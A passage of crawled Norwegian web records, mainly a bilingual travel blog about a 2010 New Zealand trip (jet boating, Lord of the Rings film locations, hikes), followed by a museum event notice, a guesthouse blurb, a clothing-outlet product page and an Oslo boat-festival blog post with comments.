s\u00e5 det er lett for folk \u00e5 komme seg dit de skal. Vi dukket opp og sjekket inn for v\u00e5r bestilte jet boat tur med Shotover Jet, de eneste operat\u00f8rene som har lisens til denne typen aktivitet p\u00e5 Shotover-elva her i QT.\u00a0\u00a0\n\nB\u00e5tturen var\u2026 vel\u2026 (igjen) Awesome. Det var helt utrolig hvor n\u00e6rme klippeveggene og steinene b\u00e5ten kunne man\u00f8vreres. Det var nesten som om den fl\u00f8t opp\u00e5 vannet og kunne g\u00e5 hvorsomhelst. Vi opplevde ogs\u00e5 den ber\u00f8mte Shotover Jet 360, n\u00e5r b\u00e5ten spinner 360 grader og dette var uten tvil den morsomste b\u00e5tturen jeg noen gang har v\u00e6rt med p\u00e5. Vi kj\u00f8rte s\u00e5 langt opp og ned elven som vi kom og for en gangs skyld takket vi ja til tilbudet om \u00e5 kj\u00f8pe bildepakken som ofte kommer med p\u00e5 disse turene. Vi hadde en rabattkupong som vi fikk p\u00e5 hostelet der vi bor og dessuten var bildene virkelig kule, vel verdt det.\u00a0\u00a0\n\nEtter b\u00e5tturen spiste vi middag p\u00e5 Speight's Ale House her i QT og dro hjem. Andreas var utslitt s\u00e5 han gikk og la seg og sovnet med en gang, jeg var oppe en stund og chattet litt med Lars og Harald (det var koselig \u00e5 snakke med dere igjen)  \u00a0\u00a0\n\nDagen i dag har v\u00e6rt mindre eventyrladd, men likevel morsom. Vi tok Skyline Gondola opp p\u00e5 toppen av ett av de mindre fjellene her og klarte \u00e5 klemme inn fem turer med luge'n f\u00f8r lunsj. Vi bestilte ogs\u00e5 bord til middag i morgen som skal spises til utsikten over hele QT. Etterp\u00e5 tok vi taubanen ned igjen og spilte en runde minigolf. Miniatyrene var skikkelig bra laget og jeg har ikke spilt minigolf p\u00e5 \u00e5revis, det var skikkelig g\u00f8y. En rusletur ned til en av pubene resulterte i en \u00f8l og en brus og et par runder med biljard f\u00f8r vi spiste middag p\u00e5 Brazz. Den dyreste middagen hittil (ca 580 kroner til sammen), men den inkluderte forrett, hovedrett, dessert og to \u00f8l/brus, og med en s\u00e5 god biff s\u00e5 er det fullt forst\u00e5elig  \u00a0\u00a0\n\n## LOTR Overdose\\!\n\nApril 10th, 2010\n\n**AH:** Ok people, I apologize to those of you who are not Lord of The Rings-fans. This post is probably not going to be your favourite, and please don't judge us too harsly. We have now arrived in Queenstown and are going to spend the next days enjoying what\u00a0the place\u00a0has to offer. After previously visiting Matamata (Hobbiton) and Mt. Sunday (Edoras) we discovered that we really hadn't experienced enough movie-locations, so we signed up to a full day tour. It was a bit on the expensive side, but we decided to take the risk and do it anyway. We don't regret it.\n\nOne big reason we don't regret it is called Bob. Bob was our guide and driver for the day and describes himself as the worlds biggest Tolkien-geek. I believe him. He shared with us a lot of interesting tidbits about the film-production (much of it apparently gotten from his mate Dean who worked as an extra in the movies). Not only did he show us the locations, but he pointed out camera-angles, positioning of actors and extras (especially Dean) and the techniques used to achieve what we see on screen.\n\n\n\nBob: The worlds biggest Tolkien-geek\n\nWe started the day with a visit to Ithilien. This is the place where Frodo and Sam meets Faramir and the Gondorian rangers. More specifically we visited the set where they filmed the scene where Frodo and Sam watched as the rangers ambushed the Haradrim and their Oliphants. He followed up with a couple of other locations where they filmed the gondorian rangers leading the Hobbits towards their hiding-place and one place they filmed footage not actually in the film. How's that for geekiness?  For each location he had photos showing us how it looks in the movie (\"This guy here is my mate Dean\"), and it made it easy to spot.\n\n\n\nWe are pretending to be Frodo and Sam\n\nAfter spending some time up in Ithilien we went and had lunch, where Bob could delight us with a paraphrased short version of The Silmarillion, just to give us some insight into what started all this business with the ring. After lunch he showed us two more locations, the place where Isildur is killed by Orcs (start of the first movie) and Argonath (huge statues of kings that the fellowship paddles by in their elven boats). Bob had rigged up a portable DVD-player in the car and on the way there he showed us some relevant parts of the movies to get us in the right mood (\"Watch for the first orc-foot on the log, thats Dean\"). On both places there was (of course) interesting trivia and ample opportunity to pose for geeky photos.\n\n\n\nBob explains how Isildurs death was filmed\n\nThe tour ended with Bob showing off his (or his company's anyway) pretty cool collection of weapon replicas, which we got to play with an pose with for (even more) photos. After this we went back to town and (sadly) had to say goodbye to Bob. We liked him so much that we gave him our last bottle of Aquavit, and when we told him the whole two times across the equator story his response was: \"Wow\\! That's so geeky\\!\" I guess he really likes being a geek \n\n\n\nTrying out Aragorns sword\n\n\n\nAK trying her best Gollum-face\n\n**Norwegian:**\n\n**AH:** Ok folkens, jeg ber om unnskyldning til dere som ikke er Ringenes Herre-fans. Denne posten blir nok ikke deres favoritt, og jeg ber dere om ikke \u00e5 d\u00f8mme oss for hardt. Vi har n\u00e5 ankommet Queenstown og skal bruke noen dager p\u00e5 \u00e5 nyte det stedet har \u00e5 by p\u00e5. Etter tidligere \u00e5 ha bes\u00f8kt Matamata (Hobbitun) og Mt. Sunday (Edoras) fant vi ut at vi ikke hadde f\u00e5tt sett nok inspillings-steder, s\u00e5 vi bestillte en full dags tur. Den var litt dyr, men bestemte oss for \u00e5 ta risikoen og bestille uansett. Vi angrer ikke.\n\nEn stor grunn til at vi ikke angrer heter Bob. Bob var v\u00e5r guide og sj\u00e5f\u00f8r for dagen og beskriver seg selv som verdens st\u00f8rste Tolkien-nerd. Jeg tror han har rett. Han delte mye interessant informasjon fra produksjonen av filmene (mye av det hadde han tydeligvis f\u00e5tt h\u00f8re fra kompisen sin Dean som jobbet som statist i filmene). Ikke bare viste han oss stedene, men ogs\u00e5 kamera-vinkler, posisjonene til skuespillere og statister (spesielt Dean) og teknikkene de brukte for \u00e5 oppn\u00e5 det vi ser p\u00e5 skjerm.\n\nVi startet dagen med et bes\u00f8k i Ithilien. Dette er stedet Frodo og Sam m\u00f8ter Faramir og soldatene fra Gondor. Mer spesifikt s\u00e5 bes\u00f8kte vi stedet de filmer scenen der Frodo og Sam ser p\u00e5 mens soldatene ligger i bakhold og dreper Haradrim'ene og deres Olifanter. Han fortsatte med et par andre steder hvor de filmet soldatene som f\u00f8rte hobbitene til skjulestedet deres, samt et sted hvor de filmet noe som ikke ble inkludert i filmen. P\u00e5 hvert sted hadde han bilder som viste oss hvordan det s\u00e5 ut i filmen (\"Han karen her er kompisen min Dean\"), som gjorde det lett \u00e5 visualisere scenene.\n\nEtter en god stund i Ithilien dro vi og spiste lunsj, mens Bob underholdt oss med en gjenfortalt kort-versjon av Silmarillion for \u00e5 gi oss litt mer innsikt i hvordan hele historien om ringen startet. Etter lunsj viste han oss to steder til, stedet der Isildur blir drept av orker (i starten av den f\u00f8rste filmen) og Argonath (to store statuer av konger som brorskapet padler forbi i sine alviske b\u00e5ter). Bob hadde rigget opp en b\u00e6rbar DVD-spiller i bilen og p\u00e5 veien viste han oss relevante scener fra filmene for \u00e5 sette oss i riktig stemning (\"Se etter den f\u00f8rste orke-foten p\u00e5 trestubben, det er Dean\"). P\u00e5 begge stedene var det (selvf\u00f8lgelig) interessant trivia og mange muligheter til \u00e5 posere for skikkelig nerdete bilder.\n\nTuren endte med at Bob viste frem sin (egentlig selskapet sin) ganske bra samling med v\u00e5pen-replikaer, som vi fikk leke med og posere med for (enda flere) bilder. Etter dette dro vi tilbake inn til byen, hvor vi (desverre) m\u00e5tte si hadet til Bob. Vi likte ham s\u00e5 godt at vi gav ham den siste flasken med akevitt, og n\u00e5r vi fortalte ham to-ganger-over-ekvator-historien var responsen hans \"Wow\\! S\u00e5 nerdete\\!\" Jeg antar at han rett og slett liker \u00e5 v\u00e6re nerd \n\n## A walk to remember\n\nApril 10th, 2010\n\n**AK:** We've spent the day on another nature trail.\n\n\n\nWe got to Wanaka yesterday, and decided to find a place to stay and explore the lovely little seaside town. It has a great location and is a friendly and beautiful place. We had dinner at The Wanaka Ale House (they even give you a recommendation on which beer that goes well with your food, Andreas liked that one), went for a walk in town and decided to try the Rob Roy Track the next day. So we got up, checked out of \"Wanaka Bakpaka\" and set of on another adventure.  \nAbout half an hour into the wilderness we discovered that we had almost no petrol, so we turned around and filled up the little Nissan. Another half an hour later we set off again and this time we were ready, we had petrol, water bottles, breakfast and lunch and the backpack was packed up. After driving for about an hour we got to the Raspberry Parking, left our brave, little Nissan and started off on foot.\n\n\n\nIndeed...\n\nThe trail was clearly marked, impossible to get lost, and we were so lucky with the weather (again). The sun was shining and we had a nice temperature all the way to the top. It's hard to explain the great landscape and all the beautiful things we saw, so I think I'll let the pictures speak for us.\n\nOur goal was the Glacier View Point and the trip took us about four hours (not including the drive). Highly recommendable to anyone who loves a walk in nature.\n\n\n\n**\u00a0**\n\n**\u00a0**\n\n**\u00a0**\n\n**\u00a0**\n\n**\u00a0**\n**\u00a0**\n\n**\u00a0**\n\n\n\n\n\n**\\***\n\n**NORWEGIAN**\n\n**AK:**\u00a0Vi har tatt oss enda en tur i naturen. Vi ankom Wanaka i g\u00e5r og bestemte oss for \u00e5 finne et sted \u00e5 bo og se oss litt om p\u00e5 dette flotte, lille kyststedet. Dete ligger kjempeflott til og er et vakkert og vennlig sted. Vi spiste middag p\u00e5 The Wanaka Ale House (de har til og med \u00f8l-anbefalinger til maten, Andreas likte seg godt), f\u00f8r vi gikk en \"sightseeing tur\". I l\u00f8pet av turen bestemte vi oss for \u00e5 pr\u00f8ve Rob Roy Track neste dag. S\u00e5 dagen etter sto vi opp, sjekket ut fra \"Wanaka Bakpaka\" og dro avg\u00e5rde mot v\u00e5rt nye eventyr. Cirka en halvtime inn i villmarken oppdaget vi at bensintanken nesten var tom, s\u00e5 vi snudde, dro tilbake til Wanaka og fylte opp \"S\u00f8lvpilen\" (Nissanen v\u00e5r). Etter cirka enda en halvtime dro vi avg\u00e5rde igjen og denne gangen var vi beredt. Vi hadde bensin, vannflasker, frokost og lunsj og sekken var pakken igjen. Etter \u00e5 ha kj\u00f8rt en times tid kom vi frem til Raspberry Parking, her forlot vi v\u00e5r tapre, lille Nissan og satte avg\u00e5rde til fots. L\u00f8ypen var godt markert, det var umulig \u00e5 g\u00e5 seg vill og vi hadde nok en gang superflaks med v\u00e6ret. Solen skinte og vi hadde god temperatur hele veien opp. Det er vanskelig \u00e5 beskrive det flotte landskapet og alle de vakre tingene vi s\u00e5 p\u00e5 turen s\u00e5 jeg tror jeg skal la bildene snakke for oss.\n\nM\u00e5let v\u00e5rt var Glacier View Point og turen tok oss rundt fire timer (ikke inkludert kj\u00f8returen). Absolutt \u00e5 anbefale for deg som liker naturen.\n\n## OMGLOLROHAN\\!\n\nApril 6th, 2010\n\n**AK:** We have finally been there. The place that gave its name to our blog: Rohan.\n\n\u00a0\n\n\n\nWith the matching t-shirts and everything\n\nWe decided to give the DIY-tour a try and set out with our small Nissan rental car towards Mt. Sunday aka Edoras. The weather was perfect. Sunny, a few clouds here and there, but nice and warm. Once we'd filled the car up with petrol in Methven we got straight back on the road. Our trusty GPS, \"Truls\", led us on our way with a rather pessimistic view of the whole thing. He reckoned the 45 km journey would take us about three ours. We found the gravel road that leads to Mt. Sunday quite quickly and after that \"Truls\" just got worse so we decided he didn't know what he was yapping about. The gravel road was easy enough to follow and it what seemed like no time at all we could see the valley opening up before us. Excitement ensued when we caught the first glimps of what we knew had to be Mt. Sunday. There it was. Edoras. The place where Peter Jackson and crew built the exterior of The Golden Hall and the houses around it.\n\n\n\nLord of the Plains\n\nThe last part of the road was rapidly sped across with the soundtrack from LOTR (not so beautifully) sung by us. Yes, we are the geeks. No use denying it, so we wont even try.\n\nAfter parking the car and re-packing the backpack we headed off on the marked path towards the hill itself.\n\n\n\nI would like to thank my sponsor \n\nWe'd read online about a couple who'd tried to get to the hill, but gave up halfway because they had to cross two ice cold streams. We thought it looked like something we could do on the pictures and prayed that the images we'd seen weren't only from the stream the couple had managed to cross. The first one was okay, we waded about three steps with water to our ankles, no biggie. The next one turned out to be a bit worse though. Andreas found a spot he thought seemed crossable, but his attempt was foiled by me who felt (quite keenly) that we should try and find a better location. We did find a better one, and a couple of hops, skips and a bit of a wade later, we had crossed the river completely.\n\n\n\nProfessional Rivercrossing FTW\n\nThe trip onwards was a walk in the park, only a lot nicer. The landscape was incredible\\! Words can't really describe it, I was awestruck and just completely enjoyed being in this wonderful part of New Zealand. The mountains rising majestically on each side of the rather flat valley floor and the little hill rising in the middle. The rivers on each side and the bluish mountains in the distance framing the whole thing\u2026 Breathtaking beauty.\n\nWe headed steadily towards the top from the south-east side and finally ended up a bit under the top of the hill. We saw a guided tour being held at the top so we decided to wait until they were done before going there. We sat down on the grass and ate our lunch instead (complete with cake for dessert). The sun was warm, the scenery beautiful and the food good.\n\n\n\nI've been in worse situations...\n\n(Of course, we had to find some wrapping paper and empty plastic bottles there, very annoying indeed. We brought them with us to throw them away in a more appropriate place. Bloody idiots.) Soon after, the tour was done and while they left we made our way the last few meters to the top. The view was even more stunning from up there. It was just awesome. 360 degrees of fantastic, I think we took something like 300 pictures between us on this trip \n\nThree girls also made it to the top from the other end, but thankfully they were not part of a tour, so it was just the five of us up there for a couple of hours. It was pretty cool to think about all the work the LOTR-crew had put into filming on this location. It took them 11 months to build the set and make it ready, they shot there for four months and then took it all down again. Nothing remained, no trace, even the roads where erased. They had to remove most of the moss and tussock from the area they built in, because of conservation laws, these where placed in special greenhouses and cared for throughout the 15-16 months they used the area, before they were put back where they belonged after filming was concluded. And these are just some of the stories of the work they put in. Trying to figure out where everything had been was not easy, I thought the hill itself looked too small for all the houses and the hall that I remember from the film, but at least we had a pretty good idea as to where The Golden Hall had been, right smack on top.\u00a0\n\nAs you can probably imagine we think the trip was super, well worth the time and effort. And speaking of effort, if anyone wants to take their little car (rental or otherwise) for a drive to Mt. Sunday, just do it. It wasn't difficult at all, and the rivers are no problem at all, at least not this time of year (take it from me, I was the one with the \"river issues\" on depth and current etc). Sure, the water was cold, but not so cold you can't wade through. The walk itself is not hard at all and the track up to the top isn't that steep. We heard and read a lot about the obstacles and difficulties, but came away feeling it was a fairly easy and very nice daytrip.\n\n\n\nLife is good \n\nPS: I would also like to thank my other sponsor, Harald Paulsen, without\u00a0his support I would not have this laptop available to update the blog and help me fight suicidal tendencies of boredrom on the\u00a0flights to and from NZ  \u00a0\n\n**NORWEGIAN**\u00a0\n\n**AK:** Vi har endelig v\u00e6rt der. Stedet som har gitt bloggen v\u00e5r navn: Rohan. Vi bestemte oss for \u00e5 pr\u00f8ve en \"Do-It-Yourself-tur\" og kj\u00f8rte avg\u00e5rde i v\u00e5r lille Nissan mot Mt. Sunday aka Edoras. V\u00e6ret var perfect. Solskinn, noen f\u00e5 skyer her og der, godt og varmt. Etter vi hadde fylt bensin i Methven bega vi oss avg\u00e5rde. V\u00e5r trofaste GPD, \"Truls\", ledet vei med et noget pessimistisk syn p\u00e5 saken. Han mente den 45 km lange turen ville ta oss rundt tre timer. Vi fant grusveien som leder mot Mt. Sunday ganske raskt og etter det ble hum\u00f8ret til \"Truls\" bare verre, s\u00e5 vi ble enige om at han ikke visste hva han jamret om. Grusveien var enkel nok \u00e5 f\u00f8lge og i l\u00f8pet av veldig kort tid s\u00e5 vi dalen \u00e5pne seg foran oss. Stemningen i bilen steg til nye h\u00f8yder da vi s\u00e5 det vi visste m\u00e5tte v\u00e6re Mt. Sunday. Der var det. Edoras. Stedet der Peter Jackson og teamet hans hadde bygget settet til The Golden Hall og husene rundt den. Den siste delen av veien ble raskt lagt bak oss mens vi sang soundtracket til LOTR (ikke akkurat vakkert) for full hals. Ja, vi er geeks. Det nytter ikke benekte det, s\u00e5 vi gidder ikke pr\u00f8ve.\u00a0\n\nEtter vi hadde parkert og pakket om sekken satte vi kursen langs den markerte l\u00f8ypa mot \u00e5sen. Vi hadde lest om et par som hadde pr\u00f8vd \u00e5 n\u00e5 \u00e5sen tidligere, men som ga opp fordi de m\u00e5tte krysse to iskalde elver. Vi synes det s\u00e5 ut som noe vi kunne klare og ba til h\u00f8yere makter at bildene vi hadde sett ikke bare var av den ene elva paret hadde klart \u00e5 krysse. Den f\u00f8rste var helt grei, vi vadet rundt tre steg med vann til anklene, ikke noe problem. Den neste, derimot, var litt verre. Andreas fant et sted han mente vi kunne krysse, men fors\u00f8ket hans ble sabotert av meg da jeg ville (veldig gjerne) at vi skulle finne et mer passende sted. Vi fant et bedre sted og et par hopp, noen sprett og litt vading senere var vi helt klar av elven. Resten av turen var superfin og helt problemfri. Landskapet var helt utrolig\\! Ord kan nesten ikke beskrive det. Jeg var nesten m\u00e5ll\u00f8s og bare n\u00f8t \u00e5 v\u00e6re i denne fantastisken delen av New Zealand. Fjellene steg majestetisk p\u00e5 hver side av den flate dalen, med den lille \u00e5sen i midten. Elvene rant p\u00e5 hver side av den og de bl\u00e5aktige fjellene i horisonten skapte en flott ramme rundt det hele. Utrolig vakkert.\u00a0\n\nVi gikk mot \u00e5sen fra s\u00f8r\u00f8st og endte med \u00e5 stoppe litt nedenfor toppen. Her s\u00e5 vi en omvisning som holdt p\u00e5 s\u00e5 vi bestemte oss for \u00e5 vente til de var ferdige f\u00f8r vi gikk lenger. Vi satte oss i gresset og spiste lunsjen v\u00e5r (komplett med kake til dessert). Solen varmet, landskapet var vakkert og maten var god. (Selvf\u00f8lgelig m\u00e5tte vi finne sjokoladepapir og tomme plastflasker der, skikkelig irriterende. Vi tok dem med oss for \u00e5 kaste dem i n\u00e6rmeste s\u00f8pledunk. Noen folk er bare idioter.) Ganske snart var omvisningen ferdig og idet de var p\u00e5 vei ned, gikk vi de resterende meterne til toppen. Utsikten var enda bedre der, det var helt utrolig. 360 grader med fantastisk, jeg tror vi tok rundt 300 bilder til sammen p\u00e5 denne turen  \u00a0\n\nTre jenter kom seg ogs\u00e5 til toppen fra andre enden, men de var heldigvis ikke med p\u00e5 noen omvisning, s\u00e5 det var bare oss fem der oppe i et par timer. Det var ganske kult \u00e5 tenke p\u00e5 alt arbeidet LOTR-crewet hadde lagt ned i filmingen p\u00e5 dette stedet. Det tok dem elleve m\u00e5neder \u00e5 bygge sette, og de filmet her i bare fire m\u00e5neder f\u00f8r de fjernet alt sammen igjen. Ingenting er igjen, ikke et spor, til og med veiene ble fjernet. For \u00e5 f\u00e5 lov til \u00e5 filme der m\u00e5tte de fjerne mose og gressvekster i omr\u00e5det, fordi disse var beskyttet. Vekstene ble plassert i veksthus og pleiet i de 15-16 m\u00e5nedene filmingen p\u00e5gikk, f\u00f8r de ble satt tilbake der de h\u00f8rer hjemme n\u00e5r filmingen var ferdig. Og dette er bare et par av historiene rundt arbeidet som ble lagt ned. \u00c5 finne ut hvor alt liksom hadde st\u00e5tt var ikke det letteste. Jeg synes \u00e5sen vi var p\u00e5 s\u00e5 altfor liten ut til \u00e5 ha plass til alt jeg husker fra filmene, men vi hadde i det minste en god pekepinn p\u00e5 hvor The Golden Hall hadde st\u00e5tt. Midt p\u00e5 toppen.\u00a0\n\nSome dere sikkert skj\u00f8nner synes vi denne turen var super, vel verdt tiden og kreftene det tok. N\u00e5r det gjelder \"krefter\", hvis noen skulle \u00f8nske \u00e5 ta bilen sin (leie- eller vanlig) ut p\u00e5 tur til Mt. Sunday, bare gj\u00f8r det. Det var ikke vanskelig i det hele tatt, og elvene er ikke noe problem, i alle fall ikke p\u00e5 denne tiden av \u00e5ret (og du kan tro meg p\u00e5 det, jeg var den som stilte meg mest tvilende til elvekrysningen, med dybde og str\u00f8m etc). Joda, vannet var kaldt, men ikke s\u00e5 kaldt at du ikke kan vade gjennom. Selve g\u00e5turen er enkel og stigningen til toppen er likes\u00e5. Vi h\u00f8rte og leste mye om de forskjellige hindringene og hvor vanskelig dette kom til \u00e5 v\u00e6re, men vi f\u00f8ler egentlig at dette var en ganske enkel og veldig koselig dagstur.\u00a0\n\nPS: Jeg vil ogs\u00e5 gjerne takke min andre\u00a0sponsor, Harald Paulsen. Uten hans hjelp hadde jeg v\u00e6rt laptop-l\u00f8s p\u00e5 denne turen, noe som ville tilsi at blog-oppdateringene utelukkende\u00a0hadde v\u00e6rt opp til Andreas (GISP\\!), samt at mine sucidale tendenser (grunnet kjedsomhet) p\u00e5 flyturene til og fra NZ ville antagelig f\u00e5tt katastrofale f\u00f8lger \n\n", "language": "no", "__index_level_0__": "c7e7cabc-647c-4194-8066-d39507c81a5d"}
{"url": "http://vestfoldmuseene.no/arrangementer/vandring-pa-ovre-sand-ved-berger-museum/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00283.warc.gz", "warc_date": "2018-03-24T23:25:10Z", "text": "# Vandring p\u00e5 \u00d8vre Sand ved Berger museum\n\n24\\. sep 2017 12:00 - 14:00 | Berger museum \n\nHvordan var det p\u00e5 Sand p\u00e5 1960-tallet? Vi henter minner langs ruten fra butikken via snekkerverkstedet, Snippen, Saga, Simbo, Systua/Bilverkstedet og opp til Svelvik og Str\u00f8mms skytterlags bane. Oppm\u00f8te: Sand Storkiosk kl. 12.00. Gratis\\!\n", "language": "no", "__index_level_0__": "d619f92b-e203-4250-b168-6e230c198f6e"}
{"url": "http://www.strynvertshus.no/?cID=5599", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-24T23:34:19Z", "text": "Du kan f\u00e5 servert frokost i v\u00e5r kaf\u00e8. \u00a0  \n  \nHuset er opprinnelig fra begynnelsen av 1900-tallet og har beholdt den gamle sjarmen. Alle rom har blitt pusset opp. Eget dusj/WC p\u00e5 alle rom.\u00a0  \n  \n", "language": "no", "__index_level_0__": "e954dfc6-4b64-430e-a846-0903a0c75926"}
{"url": "http://www.crown-intelligence.com/a3653-h%C3%B8ykvalitets-abercrombie-fitch-1892-full-zip-pels-hoodedabercrombie-norge-salgkj%C3%B8p-abercrombie-fitch-fitch-norgeoutlet-p%C3%A5-sale-norge-p-5710.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00283.warc.gz", "warc_date": "2018-03-24T23:40:24Z", "text": "**abercrombie & fitch norge billig A\\&F Abercrombie Menn Jakker , A3653 H\u00f8ykvalitets Abercrombie & Fitch 1892 Full Zip Pels Hooded,abercrombie norge salg,kj\u00f8p abercrombie & fitch fitch norge,Outlet p\u00e5 Sale Norge billig abercrombie & fitch jakke,ulike design**  \nDenne h\u00f8ye kvalitet Abercrombie & Fitch 1892 Full Zip Pels Hooded Jakker Red er utsmykningen av livet ditt.  \nDu kan f\u00e5 din Abercrombie og Fitch kl\u00e6r med tillit fra butikken v\u00e5r, kan vi tilby deg kunder den beste merkevare heter Abercrombie og Fitch Kl\u00e6r enest\u00e5ende kostnader, vil vi takle alle ordrer og garanti med tjenesten er det mulig \u00e5 stole p\u00e5.  \nVi har alle typer av Abercrombie og Fitch kl\u00e6r for deg, og vi lover, du vil aldri angre p\u00e5 avgj\u00f8relsen, lykkelig shopping, vil du elske det brede spekter av Abercrombie og Fitch kl\u00e6r for folk i denne butikken.  \n\n  \n\n1\\. Your order is usually shipped out within 24-48 hours after your payment is received.  \n2\\. The tracking number of your parcel will be sent to you after your order is despatched. You may use the tracking number to check the status of your order online.  \n3\\. The shipping fee will be auto-added in the grand total when you send payment.\n\nChoose a ranking for this item. 1 star is the worst and 5 stars is the best.\n", "language": "no", "__index_level_0__": "88e5cebe-3c56-41ee-b7e6-c9bf3744cbe3"}
{"url": "https://etdrysskanel.com/2014/07/18/boats-boats-boats/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00309.warc.gz", "warc_date": "2018-03-24T23:16:35Z", "text": "# Et dryss kanel\n\n## A Sprinkle of Cinnamon\n\n\n\n# Boats\\! Boats\\! Boats\\!\n\nPostet den 18. juli 2014 av Synne Cinnamon\n\nI g\u00e5r var det torsdag, men for Jonasflotte og meg var det s\u00f8ndag. Vi hadde nemlig brukt onsdagen som l\u00f8rdag, ettersom begge har ferie. Vi tilbragte den sammen med et par gode venner, ute p\u00e5 verandaen deres med utsikt mot Oslofjorden, og med grillmat og godt drikke. Dagen ble kveld, og kvelden ble natt, men alle hadde det kjempehyggelig og ingen var tr\u00f8tte, s\u00e5 vi tok f\u00f8rste buss hjem om morgenen og la oss klokka fem. S\u00e5 sov vi til elleve, og s\u00e5 hadde vi en hel dag foran oss som vi kunne ha sl\u00f8vet vekk. En s\u00f8ndagstorsdag.\n\nVi var litt tr\u00f8tte og slitne, men p\u00e5 slike dager har vi en enkel regel: Ute er alltid bedre enn inne. Om man bruker hele dagen innend\u00f8rs, blir man ikke mindre tung i hodet\\! Det kan v\u00e6re fristende \u00e5 bli liggende p\u00e5 sofaen hele dagen, men her m\u00e5 man v\u00e6re litt streng med seg selv. Frisk luft og bevegelse gir energi. Kanskje er man til og med s\u00e5 heldig at sola skinner, slik tilfellet var i Oslo i g\u00e5r, og da f\u00e5r man enda mer overskudd. Vi gikk alts\u00e5 ut.\n\nF\u00f8rst tuslet vi opp p\u00e5 Gr\u00fcnerl\u00f8kka for \u00e5 kj\u00f8pe blomster til stuebordet og smoothies vi kunne drikke p\u00e5 en benk, og s\u00e5 gikk vi mot vannet. Forbi tigeren p\u00e5 Jernbanetorget, forbi Operaen, ut p\u00e5 Sukkerbiten. Der er det fint, og i g\u00e5r var det enda finere enn vanlig, for n\u00e5 p\u00e5g\u00e5r det en b\u00e5tfestival der ute\\! Det visste vi ikke noe om, men det var en hyggelig overraskelse. Det l\u00e5 sm\u00e5 og store b\u00e5ter over alt\\!\n\nJeg har veldig lite erfaring med b\u00e5ter, ettersom jeg har vokst opp p\u00e5 innlandet, langt fra havet. Derfor er den maritime kulturen ganske eksotisk for meg, og jeg synes dessuten at gammeldagse fart\u00f8y er ekstra fine \u00e5 se p\u00e5\\! Jonasflotte er heller ikke vant til b\u00e5ter fra barndommen, s\u00e5 vi var to begeistrede landkrabber som s\u00e5 n\u00e6rmere p\u00e5 festivalen. Det foregikk ting p\u00e5 alle kanter, og det luktet salt sj\u00f8, beiset treverk og b\u00e5tbensin i hele omr\u00e5det.\n\n  \n\n\nMusikken var det et omreisende orkester som bes\u00f8rget \u2013 de sto p\u00e5 dekk og spilte og sirklet rundt\\!\n\nAller finest var det ute p\u00e5 flytebrygga, der det l\u00e5 massevis av gamle treb\u00e5ter tett i tett.\n\nEn av dem hadde heist sj\u00f8r\u00f8verflagget, og jeg ble selvf\u00f8lgelig overlykkelig.\n\nDe andre b\u00e5tene hadde mer ordin\u00e6re flagg, men det var koselig \u00e5 se p\u00e5 dem, og det var tydelig at b\u00e5tfolket koste seg ombord.\n\n  \n\n\nEtterhvert ble skyene borte og himmelen knallbl\u00e5.\n\nDa vi snudde i enden av brygga og gikk mot fastlandet igjen, s\u00e5 vi at noen hadde fisket opp en sykkel. Den kuleste jeg har sett.\n\nSom et kunstverk\\! Tenk at slike ting skjer av seg selv der nede p\u00e5 bunnen.\n\nVi passerte ogs\u00e5 noen b\u00e5ter som skilte seg ut fra de andre. Vikingskip med fine utskj\u00e6ringer\\!\n\n  \n  \n\n\nDessuten m\u00f8tte vi en gammel kjenning p\u00e5 veien tilbake\\! N\u00e5 sender NRK et eller annet sommerprogram fra Operakaia, og de hadde tatt med seg Flode\\! Alle som ville kunne f\u00e5 sette seg ved siden av ham og se utover fjorden, og jeg lot ikke sjansen g\u00e5 fra meg.\n\nDet ble en veldig fin ettermiddag utend\u00f8rs\\!\n\n\u2013 \u2013 \u2013 \u2013 \u2013\n\n*In other words: This Thursday was like a Sunday, because this Wednesday was like a Saturday. My boyfriend and I spent it with friends, having a little barbeque and lots of drinks on their veranda, and no one ever wanted to go home, so we eventually took the first morning bus and went to bed at five o'clock. After sleeping 'till noon we got up and went out. We have a rule on those slow days when you're sleepy and your head is a little heavy: Outdoors is always better than indoors. You might not feel like leaving the house, but that is always best. Fresh air and movement is so good for us. We went for a walk by the sea and discovered that there was a boating festival on. We had no idea, but it was such a pleasant surprise\\! I grew up far from the ocean, so I think the whole maritime culture is quite exotic, and I love all kinds of old vehicles. In this case there were hundreds of boats everywhere, and most of them were old wooden ones, so the whole area smelled of salt and wood stain and boat fuel. We had a look around, and there were so many charming details. I was also thrilled to see the pirate flag and the viking ships among the other boats, and there was even a bike that someone has fished out of the water \u2013 it looked like a piece of art\\! On the way back we met a beloved TV figure from our childhood. We were both very happy that we spent the afternoon outdoors\\!  \n## 10 tanker p\u00e5 \"Boats\\! Boats\\! Boats\\!\"\n\n1.   Vicky sier:\n    \n    18\\. juli 2014, kl. 21:17\n    \n    \u00e5\u00e5 s\u00e5 fint\\! h\u00f6rde av n\u00e5gra bekanta som var d\u00e4r, men hade inte m\u00f6jlighet att se det sj\u00e4lv. s\u00e5 fint att jag fick se genom dina bilder d\u00e5 :) tack\\!\n    \n      -  Synne sier:\n        \n        28\\. juli 2014, kl. 14:24\n        \n        Hihi, det passet jo fint\\!\n        \n2.   Regnboge sier:\n    \n    18\\. juli 2014, kl. 23:26\n    \n    B\u00e5tar er fabelaktige ting, og s\u00e6rleg n\u00e5r dei er av tre. Forma er so utruleg estetisk.\n    \n    Og so vakker den sykkelen var\\!\n    \n      -  Synne sier:\n        \n        28\\. juli 2014, kl. 14:24\n        \n        Enig\\! I begge deler\\!\n        \n3.   Maren sier:\n    \n    19\\. juli 2014, kl. 21:47\n    \n    Herlig sommerdag\\! Flode \\<3\n    \n4.   Linda sier:\n    \n    19\\. juli 2014, kl. 22:08\n    \n    Jeg er tror jeg p\u00e5 et vis er konstant forelsket i og fascinert av seilb\u00e5ter \u2013 jeg hadde nok blitt helt euforisk om jeg hadde f\u00e5tt med meg seilb\u00e5tfestivalen (som jeg selvsagt skulle \u00f8nske at jeg hadde f\u00e5tt med meg)\n    \n      -  Synne sier:\n        \n        28\\. juli 2014, kl. 14:25\n        \n        De har noe helt spesielt ved seg\\! 